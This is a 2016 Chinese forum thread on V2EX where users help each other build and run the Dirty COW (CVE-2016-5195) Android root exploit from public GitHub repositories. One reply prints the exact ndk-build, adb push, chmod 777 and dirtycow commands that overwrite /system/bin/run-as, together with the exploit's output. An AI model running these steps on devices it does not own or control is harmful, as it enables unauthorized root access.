V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
postlive
V2EX  ›  Android

安卓开发高手帮忙看一下

  •  
  •   postlive · 2016-10-31 15:15:17 +08:00 · 9671 次点击
    这是一个创建于 2948 天前的主题,其中的信息可能已经有所发展或是发生改变。
    https://github.com/timwr/CVE-2016-5195/archive/master.zip

    哪位高手帮忙把这个编译一下




    这个在 ndk 下可以直接编译成 apk 吗
    42 条回复    2016-11-04 22:31:58 +08:00
    postlive
        1
    postlive  
    OP
       2016-10-31 15:19:55 +08:00 via Android
    高手都帮忙看一下 我把 C 直接编译成二进制执行之后 没效果 可能需要弄成 apk 两个 C 配合运行吧
    michaelzhou
        2
    michaelzhou  
       2016-10-31 15:42:57 +08:00   ❤️ 1
    看了一下 makefile ,编译完成应该会有两个 so 文件,不会生成 APK 文件,你需要编写一个 Android Project ,然后通过 JNI 来调用。
    michaelzhou
        3
    michaelzhou  
       2016-10-31 15:49:09 +08:00
    用 ndk 编译完成, push 到手机使用 adb shell 执行:
    $ make root
    ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-21
    [arm64-v8a] Install : dirtycow => libs/arm64-v8a/dirtycow
    [arm64-v8a] Install : run-as => libs/arm64-v8a/run-as
    [x86_64] Install : dirtycow => libs/x86_64/dirtycow
    [x86_64] Install : run-as => libs/x86_64/run-as
    [mips64] Install : dirtycow => libs/mips64/dirtycow
    [mips64] Install : run-as => libs/mips64/run-as
    [armeabi-v7a] Install : dirtycow => libs/armeabi-v7a/dirtycow
    [armeabi-v7a] Compile thumb : run-as <= run-as.c
    [armeabi-v7a] Executable : run-as
    [armeabi-v7a] Install : run-as => libs/armeabi-v7a/run-as
    [armeabi] Compile thumb : dirtycow <= dirtycow.c
    [armeabi] Executable : dirtycow
    [armeabi] Install : dirtycow => libs/armeabi/dirtycow
    [armeabi] Compile thumb : run-as <= run-as.c
    [armeabi] Executable : run-as
    [armeabi] Install : run-as => libs/armeabi/run-as
    [x86] Compile : dirtycow <= dirtycow.c
    [x86] Executable : dirtycow
    [x86] Install : dirtycow => libs/x86/dirtycow
    [x86] Compile : run-as <= run-as.c
    [x86] Executable : run-as
    [x86] Install : run-as => libs/x86/run-as
    [mips] Compile : dirtycow <= dirtycow.c
    [mips] Executable : dirtycow
    [mips] Install : dirtycow => libs/mips/dirtycow
    [mips] Compile : run-as <= run-as.c
    [mips] Executable : run-as
    [mips] Install : run-as => libs/mips/run-as
    adb push libs/armeabi/dirtycow /data/local/tmp/dirtycow
    * daemon not running. starting it now on port 5037 *
    * daemon started successfully *
    [100%] /data/local/tmp/dirtycow
    adb push libs/armeabi/run-as /data/local/tmp/run-as
    [100%] /data/local/tmp/run-as
    adb shell 'chmod 777 /data/local/tmp/run-as'
    adb shell '/data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as'
    warning: new file size (13776) and file old size (14192) differ

    size 14192


    [*] mmap 0xf707c000
    [*] exploit (patch)
    [*] currently 0xf707c000=464c457f
    [*] madvise = 0xf707c000 14192
    [*] madvise = 0 1048576
    [*] /proc/self/mem -1048576 1048576
    [*] exploited 0xf707c000=464c457f
    adb shell /system/bin/run-as
    run-as: Usage:
    run-as <package-name> [--user <uid>] <command> [<args>]
    tscat
        4
    tscat  
       2016-10-31 16:08:54 +08:00
    看了一下,是提权漏洞?
    这个根本就不是 Android Project , run-as.c 应该是打印 uid ,来验证漏洞是否能够提权吧。
    基本上楼上都说了。
    postlive
        5
    postlive  
    OP
       2016-10-31 16:40:08 +08:00 via Android
    @michaelzhou @tscat 我直接把这两个 C 编译成两个二进制文件
    我运行到这一条命令 /data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as 之后 没反应 请问为什么 这条命令是什么意思呢
    postlive
        6
    postlive  
    OP
       2016-10-31 16:41:18 +08:00 via Android
    @tscat 是提权的 运行 /data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as 之后没反应 不打印 uid
    postlive
        7
    postlive  
    OP
       2016-10-31 16:50:42 +08:00 via Android
    @michaelzhou 我如果编译成.so 的话 是不是还要编写个 APK 来运行它 是吧
    michaelzhou
        8
    michaelzhou  
       2016-10-31 16:57:05 +08:00
    @postlive 首先你得理解这个 CVE 提权的过程。重点在 dirtycow ,他是 exploit 的执行者,目的是将系统的 run-as 替换成自己编写的 run-as 。
    michaelzhou
        9
    michaelzhou  
       2016-10-31 17:02:11 +08:00
    @postlive 系统分配给 adb 的 uid ,是没有权限更改 /system/bin 下任何东西的,/data/local/tmp 下的东西可以随便来,所以,首先将 exploit 所需要的东西先拷贝到 /data/local/tmp/,然后 dirtycow 将 /system/bin/run-as 替换成 /data/local/tmp/run-as 。然后被替换的 run-as 就可以被 APK 应用层直接调用了( run-as --uid root )。
    postlive
        10
    postlive  
    OP
       2016-10-31 17:27:41 +08:00 via Android
    @michaelzhou 高手,那现在这个 run-as 是人家编写好的 想办法用这个 run-as 替换 system/bin/的 就可以调用它执行 root 权限的命令了?
    michaelzhou
        11
    michaelzhou  
       2016-10-31 17:32:14 +08:00
    @postlive 可以这么理解。但是 “想办法用这个 run-as 替换 system/bin/的” 很难。
    postlive
        12
    postlive  
    OP
       2016-10-31 17:37:32 +08:00
    @michaelzhou “ 首先你得理解这个 CVE 提权的过程。重点在 dirtycow ,他是 exploit 的执行者,目的是将系统的 run-as 替换成自己编写的 run-as 。”
    /data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as
    请问,这条命令是在执行用自己的 run-as 替换系统的 是吧?
    devzero
        13
    devzero  
       2016-10-31 17:37:57 +08:00 via Android
    在 issues 那里有一个编译好的二进制文件,可以去看看
    michaelzhou
        14
    michaelzhou  
       2016-10-31 17:41:34 +08:00
    @postlive 是。
    HackerOO7
        15
    HackerOO7  
       2016-10-31 18:11:22 +08:00
    因为 selinux 的存才,这个提权能做的实在太有限,然而在 6.0 上就算过了 selinux ,也还得过 dm-verity 。
    postlive
        16
    postlive  
    OP
       2016-10-31 18:17:50 +08:00
    @devzero 谢谢 刚才仔细看了一下评论 和看雪上说的一样 SELinux 没法破 这个脚本只有作者自己执行成功了,要是刚开始就看 issues 的话就不会走弯路了
    postlive
        17
    postlive  
    OP
       2016-10-31 18:20:35 +08:00
    @HackerOO7 是的,刚在看雪上看到漏洞时 评论里面就有人提到 selinux ,当时没在意,是我想的太简单了,现在得另辟蹊径
    postlive
        18
    postlive  
    OP
       2016-10-31 18:32:43 +08:00
    @michaelzhou 如果不写 APK ,直接手动一步一步的执行.C 编译后的二进制文件 是不是会达到同样的效果?我重新找到一个 POC ,我准备把里面的 5 个.C 一个个编译成安卓可执行的二进制,再去运行每条命令
    可行不
    kmahyyg
        19
    kmahyyg  
       2016-10-31 22:47:26 +08:00 via Android   ❤️ 1
    你去 dirtycow.github.io 的 wiki 里,有个 r2 的 io plugin 可以使用,安卓 6.0.1_r72(RR)在 termux 下用 clang 编译测试成功提权。
    postlive
        20
    postlive  
    OP
       2016-10-31 22:55:31 +08:00
    @kmahyyg 谢谢 我明天试一下
    w99wen
        21
    w99wen  
       2016-11-01 18:25:34 +08:00
    我用自己的 vps ,没关闭 SELinux ,结果就是这个漏洞然并卵
    postlive
        22
    postlive  
    OP
       2016-11-02 17:32:44 +08:00 via Android
    @michaelzhou 高手 能帮忙编译一下这个吗 https://github.com/nowsecure/dirtycow 我编译不过去 里面有些.h 文件找不到 应该用啥编译
    michaelzhou
        23
    michaelzhou  
       2016-11-02 18:13:03 +08:00
    @postlive 将 Git 仓库放到你自己的 ndk 目录的 sources 目录下,然后用 ndk-build 命令进行编译。建议将 ndk-build 可执行文件的路径添加到 PATH 。编译时找不到头文件,及有可能是你的项目放的目录不对。

    例如,我放的目录是:

    ~/Library/Android/sdk/ndk-bundle/sources/third_party/CVE-2016-5195

    然后,你给出的这个 Github 仓库,作者已经写好了 Makefile ,所以直接用 make 命令就可以直接编译。
    也就是说,在 ~/Library/Android/sdk/ndk-bundle/sources/third_party/CVE-2016-5195 下 执行 make root 。

    敲完 make root 后,就可以 “坐和放宽” 了。

    FYI :编译以后的 output 在 ./libs 和 ./obj 目录下。
    postlive
        24
    postlive  
    OP
       2016-11-02 18:20:27 +08:00 via Android
    多谢了 我一会儿试一下 只是他里面有些.h 头文件是第三方库的是吧 我在 Android studio 和 GCC 下有些.h 都找不到 能不能麻烦您编译一下,根据您的经验看看到底是啥原因,最好能编译好发给我 谢谢啦👍😊😏 [email protected]
    michaelzhou
        25
    michaelzhou  
       2016-11-02 18:49:53 +08:00
    @postlive 已发
    postlive
        26
    postlive  
    OP
       2016-11-02 19:54:12 +08:00 via Android
    @michaelzhou 好人有好报😏😊
    postlive
        27
    postlive  
    OP
       2016-11-02 20:54:01 +08:00 via Android
    @michaelzhou 老大,麻烦把这个也编译一下 https://github.com/jcadduono/android_external_dirtycow/archive/android-6.0.zip
    这个是发布者在自己的 V20 上面测试过的 V20 和 G5 的环境应该一样
    如果能成功换掉原厂 recovery 那就可以完美 root 你将是世界第一人😏😊
    [email protected] 谢谢了
    postlive
        28
    postlive  
    OP
       2016-11-03 13:25:45 +08:00 via Android
    michaelzhou
        29
    michaelzhou  
       2016-11-03 13:42:16 +08:00
    @postlive 已发。
    postlive
        30
    postlive  
    OP
       2016-11-03 14:30:54 +08:00
    @michaelzhou 大神,您编译出来的只有 2 个文件 这里面不是有 5 个么
    adb push dirtycow /data/local/tmp
    adb push recowvery-applypatch /data/local/tmp
    adb push recowvery-app_process64 /data/local/tmp
    adb push recowvery-run-as /data/local/tmp
    michaelzhou
        31
    michaelzhou  
       2016-11-03 14:41:44 +08:00
    @postlive 另外几个一直报错,不知为何,我没仔细看错误原因。
    粗看一下,大概是因为引用的头文件在源码环境下才有,我个人电脑的环境没有 AOSP 的源码编译环境,只能帮你到这里了。
    postlive
        32
    postlive  
    OP
       2016-11-03 14:45:41 +08:00
    @michaelzhou 是的,我也觉得是缺少.h 头文件 那么请问我怎么下载 AOSP 里面有好多 我不知道安装哪个 麻烦指点迷津
    谢谢了
    michaelzhou
        33
    michaelzhou  
       2016-11-03 21:28:22 +08:00
    postlive
        34
    postlive  
    OP
       2016-11-03 23:25:53 +08:00
    @michaelzhou 大神,经过你的指点,我在 AOSP 源里面找到了 只是应该把.h 文件放到什么地方 比如#include <cutils/properties.h> NDK 下就有好几个 cutils 文件夹
    postlive
        35
    postlive  
    OP
       2016-11-03 23:30:58 +08:00
    @michaelzhou 找到的有些.h 直接是个空文件


    像这个 AOSP 下面有这么多 到底要哪一个呢
    postlive
        36
    postlive  
    OP
       2016-11-04 00:54:25 +08:00
    @michaelzhou 放的地方我找到了 只是又出现了一些新的问题 代码报错 编译不过去 这个.C 到底是 C 写的还是 C++写的? 是不是要用到其它的什么编译器
    postlive
        37
    postlive  
    OP
       2016-11-04 01:57:33 +08:00 via Android
    @kmahyyg 能把你编译好的发一下吗
    postlive
        38
    postlive  
    OP
       2016-11-04 01:57:57 +08:00 via Android
    kmahyyg
        39
    kmahyyg  
       2016-11-04 07:22:32 +08:00 via Android
    @postlive 抱歉,已删除
    postlive
        40
    postlive  
    OP
       2016-11-04 17:05:33 +08:00 via Android
    @kmahyyg 我想请教一下您是在什么环境下编译的 这个是在 Android6.0.1 r72 终端下用 clang ? 我在 Ubuntu ndk 下编译不过去 代码报错
    postlive
        41
    postlive  
    OP
       2016-11-04 17:08:45 +08:00 via Android
    @kmahyyg 这个能过 SELinux 吗 你测试的设备 bootloder 解锁了吗
    kmahyyg
        42
    kmahyyg  
       2016-11-04 22:31:58 +08:00 via Android
    @postlive termux 安卓客户端

    apt update
    apt-get install clang
    ./build.sh


    设备代号 ido BL 已解锁
    RR 系统默认 selinux permissive.......
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   4498 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 24ms · UTC 04:04 · PVG 12:04 · LAX 20:04 · JFK 23:04
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.